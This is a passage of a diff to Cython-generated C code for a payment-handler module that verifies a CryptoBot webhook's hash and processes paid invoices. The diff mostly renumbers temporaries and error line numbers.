__pyx_t_17 = 0; __pyx_t_17 = NULL; @@ -6291,33 +6282,33 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_17, NULL}; __pyx_t_7 = __Pyx_PyObject_FastCall(__pyx_t_19, __pyx_callargs+1-__pyx_t_11, 0+__pyx_t_11); __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; - if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 166, __pyx_L32_error) + if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 167, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_19); __pyx_t_19 = 0; } __pyx_t_19 = NULL; __pyx_t_11 = 0; #if CYTHON_UNPACK_METHODS - if (unlikely(PyMethod_Check(__pyx_t_6))) { - __pyx_t_19 = PyMethod_GET_SELF(__pyx_t_6); + if (unlikely(PyMethod_Check(__pyx_t_9))) { + __pyx_t_19 = PyMethod_GET_SELF(__pyx_t_9); if (likely(__pyx_t_19)) { - PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9); __Pyx_INCREF(__pyx_t_19); __Pyx_INCREF(function); - __Pyx_DECREF_SET(__pyx_t_6, function); + __Pyx_DECREF_SET(__pyx_t_9, function); __pyx_t_11 = 1; } } #endif { - PyObject *__pyx_callargs[4] = {__pyx_t_19, __pyx_t_10, __pyx_kp_u__17, __pyx_t_7}; - __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_11, 3+__pyx_t_11); + PyObject *__pyx_callargs[4] = {__pyx_t_19, __pyx_t_10, __pyx_kp_u__11, __pyx_t_7}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_9, __pyx_callargs+1-__pyx_t_11, 3+__pyx_t_11); __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 161, __pyx_L32_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 162, __pyx_L32_error) __Pyx_GOTREF(__pyx_t_1); - __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -6325,10 +6316,10 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ if (likely(__pyx_r)) { __Pyx_XGIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_t_0 = __pyx_t_2; - __Pyx_XGIVEREF(__pyx_t_5); - __pyx_cur_scope->__pyx_t_1 = __pyx_t_5; - __Pyx_XGIVEREF(__pyx_t_9); - __pyx_cur_scope->__pyx_t_2 = __pyx_t_9; + __Pyx_XGIVEREF(__pyx_t_6); + __pyx_cur_scope->__pyx_t_1 = __pyx_t_6; + __Pyx_XGIVEREF(__pyx_t_12); + __pyx_cur_scope->__pyx_t_2 = __pyx_t_12; __Pyx_XGIVEREF(__pyx_t_13); __pyx_cur_scope->__pyx_t_3 = __pyx_t_13; __Pyx_XGIVEREF(__pyx_t_14); @@ -6345,12 +6336,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_t_2 = __pyx_cur_scope->__pyx_t_0; __pyx_cur_scope->__pyx_t_0 = 0; __Pyx_XGOTREF(__pyx_t_2); - __pyx_t_5 = __pyx_cur_scope->__pyx_t_1; + __pyx_t_6 = __pyx_cur_scope->__pyx_t_1; __pyx_cur_scope->__pyx_t_1 = 0; - __Pyx_XGOTREF(__pyx_t_5); - __pyx_t_9 = __pyx_cur_scope->__pyx_t_2; + __Pyx_XGOTREF(__pyx_t_6); + __pyx_t_12 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; - __Pyx_XGOTREF(__pyx_t_9); + __Pyx_XGOTREF(__pyx_t_12); __pyx_t_13 = __pyx_cur_scope->__pyx_t_3; __pyx_cur_scope->__pyx_t_3 = 0; __Pyx_XGOTREF(__pyx_t_13); @@ -6360,12 +6351,12 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_t_15 = __pyx_cur_scope->__pyx_t_5; __pyx_cur_scope->__pyx_t_5 = 0; __Pyx_XGOTREF(__pyx_t_15); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 161, __pyx_L32_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 162, __pyx_L32_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 161, __pyx_L32_error) + else __PYX_ERR(0, 162, __pyx_L32_error) } } } @@ -6382,13 +6373,13 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ __pyx_t_23 = 0; __pyx_t_24 = 0; __pyx_t_25 = 0; __pyx_t_26 = 0; __pyx_t_27 = 0; __pyx_t_28 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; - __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_XDECREF(__pyx_t_17); __pyx_t_17 = 0; __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; __Pyx_XDECREF(__pyx_t_19); __pyx_t_19 = 0; - __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_26, &__pyx_t_27, &__pyx_t_28); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25) < 0)) __Pyx_ErrFetch(&__pyx_t_23, &__pyx_t_24, &__pyx_t_25); __Pyx_XGOTREF(__pyx_t_23); @@ -6418,9 +6409,9 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_5generator1(__pyx_ } __pyx_L33:; } - __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; goto __pyx_L18_exception_handled; } goto __pyx_L19_except_error; @@ -6525,12 +6516,12 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 171, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 172, __pyx_L3_error) else goto __pyx_L5_argtuple_error; } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "cryptobot_webhook") < 0)) __PYX_ERR(0, 171, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "cryptobot_webhook") < 0)) __PYX_ERR(0, 172, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 1)) { goto __pyx_L5_argtuple_error; @@ -6541,7 +6532,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("cryptobot_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 171, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("cryptobot_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 172, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -6580,7 +6571,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_6cryptobot_webhook if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 171, __pyx_L1_error) + __PYX_ERR(0, 172, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -6588,7 +6579,7 @@ static PyObject *__pyx_pf_8handlers_8payments_13cryprobot_pay_6cryptobot_webhook __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2, __pyx_codeobj__18, (PyObject *) __pyx_cur_scope, __pyx_n_s_cryptobot_webhook, __pyx_n_s_cryptobot_webhook, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 171, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2, __pyx_codeobj__12, (PyObject *) __pyx_cur_scope, __pyx_n_s_cryptobot_webhook, __pyx_n_s_cryptobot_webhook, __pyx_n_s_handlers_payments_cryprobot_pay); if (unlikely(!gen)) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -6645,7 +6636,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 171, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 172, __pyx_L1_error) { __Pyx_ExceptionSave(&__pyx_t_1, &__pyx_t_2, &__pyx_t_3); @@ -6654,7 +6645,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __Pyx_XGOTREF(__pyx_t_3); /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_check_hash); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 173, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_check_hash); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_6 = NULL; __pyx_t_7 = 0; @@ -6674,18 +6665,18 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_cur_scope->__pyx_v_request}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 173, __pyx_L4_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 174, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } - __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 173, __pyx_L4_error) + __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_4); if (unlikely((__pyx_t_8 < 0))) __PYX_ERR(0, 174, __pyx_L4_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_9 = (!__pyx_t_8); if (__pyx_t_9) { - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 174, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 175, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_warning); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 174, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_warning); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 175, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; @@ -6706,22 +6697,22 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_kp_u_hash_cryptobot}; __pyx_t_4 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 174, __pyx_L4_error) + if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 175, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 177, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_web); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 178, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 177, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 178, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 177, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 178, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); - if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 177, __pyx_L4_error) - __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 177, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 178, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 178, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; @@ -6731,7 +6722,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ } - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_json); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 179, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_json); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = NULL; __pyx_t_7 = 0; @@ -6751,7 +6742,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_6, NULL}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_7, 0+__pyx_t_7); __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 179, __pyx_L4_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 180, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } @@ -6781,25 +6772,25 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 179, __pyx_L4_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 180, __pyx_L4_error) __pyx_t_5 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_5); } else { __pyx_t_5 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_5) < 0) __PYX_ERR(0, 179, __pyx_L4_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_5) < 0) __PYX_ERR(0, 180, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); } __Pyx_GIVEREF(__pyx_t_5); __pyx_cur_scope->__pyx_v_data = __pyx_t_5; __pyx_t_5 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_logger); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 181, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_info); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 180, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_info); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 181, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; - __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 180, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 181, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); - __pyx_t_10 = __Pyx_PyUnicode_Concat(__pyx_kp_u__19, __pyx_t_4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 180, __pyx_L4_error) + __pyx_t_10 = __Pyx_PyUnicode_Concat(__pyx_kp_u__13, __pyx_t_4); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 181, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; @@ -6821,13 +6812,13 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 180, __pyx_L4_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 181, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 181, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 182, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_10 = NULL; __pyx_t_7 = 0; @@ -6847,17 +6838,17 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_10, __pyx_n_u_update_type}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 181, __pyx_L4_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 182, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } - __pyx_t_9 = (__Pyx_PyUnicode_Equals(__pyx_t_5, __pyx_n_u_invoice_paid, Py_EQ)); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 181, __pyx_L4_error) + __pyx_t_9 = (__Pyx_PyUnicode_Equals(__pyx_t_5, __pyx_n_u_invoice_paid, Py_EQ)); if (unlikely((__pyx_t_9 < 0))) __PYX_ERR(0, 182, __pyx_L4_error) __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; if (__pyx_t_9) { - __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_process_crypto_payment); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 182, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_process_crypto_payment); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 183, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); - __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_data, __pyx_n_u_payload); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 182, __pyx_L4_error) + __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_data, __pyx_n_u_payload); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 183, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); __pyx_t_4 = NULL; __pyx_t_7 = 0; @@ -6878,7 +6869,7 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_6, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 182, __pyx_L4_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 183, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } @@ -6908,25 +6899,25 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ __pyx_t_3 = __pyx_cur_scope->__pyx_t_2; __pyx_cur_scope->__pyx_t_2 = 0; __Pyx_XGOTREF(__pyx_t_3); - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 182, __pyx_L4_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 183, __pyx_L4_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 182, __pyx_L4_error) + else __PYX_ERR(0, 183, __pyx_L4_error) } } __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 183, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_web); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 183, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_Response); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 184, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 183, __pyx_L4_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 184, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); - if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 183, __pyx_L4_error) - __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 183, __pyx_L4_error) + if (PyDict_SetItem(__pyx_t_5, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 184, __pyx_L4_error) + __pyx_t_10 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_empty_tuple, __pyx_t_5); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 184, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; @@ -6937,13 +6928,13 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ } /*else*/ { - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 185, __pyx_L4_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 186, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_warning); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 185, __pyx_L4_error) + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_warning); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 186, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 186, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_data, __pyx_n_s_get); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 187, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_11 = NULL; __pyx_t_7 = 0; @@ -6963,14 +6954,14 @@ static PyObject *__pyx_gb_8handlers_8payments_13cryprobot_pay_8generator2(__pyx_ PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_n_u_update_type}; __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_4, __pyx_callargs+1-__pyx_t_7, 1+__pyx_t_7); __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; - if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 186, __pyx_L4_error) + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 187, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } - __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 186, __pyx_L4_error) + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 187, __pyx_L4_error) __Pyx_GOTREF(__pyx_t_4); 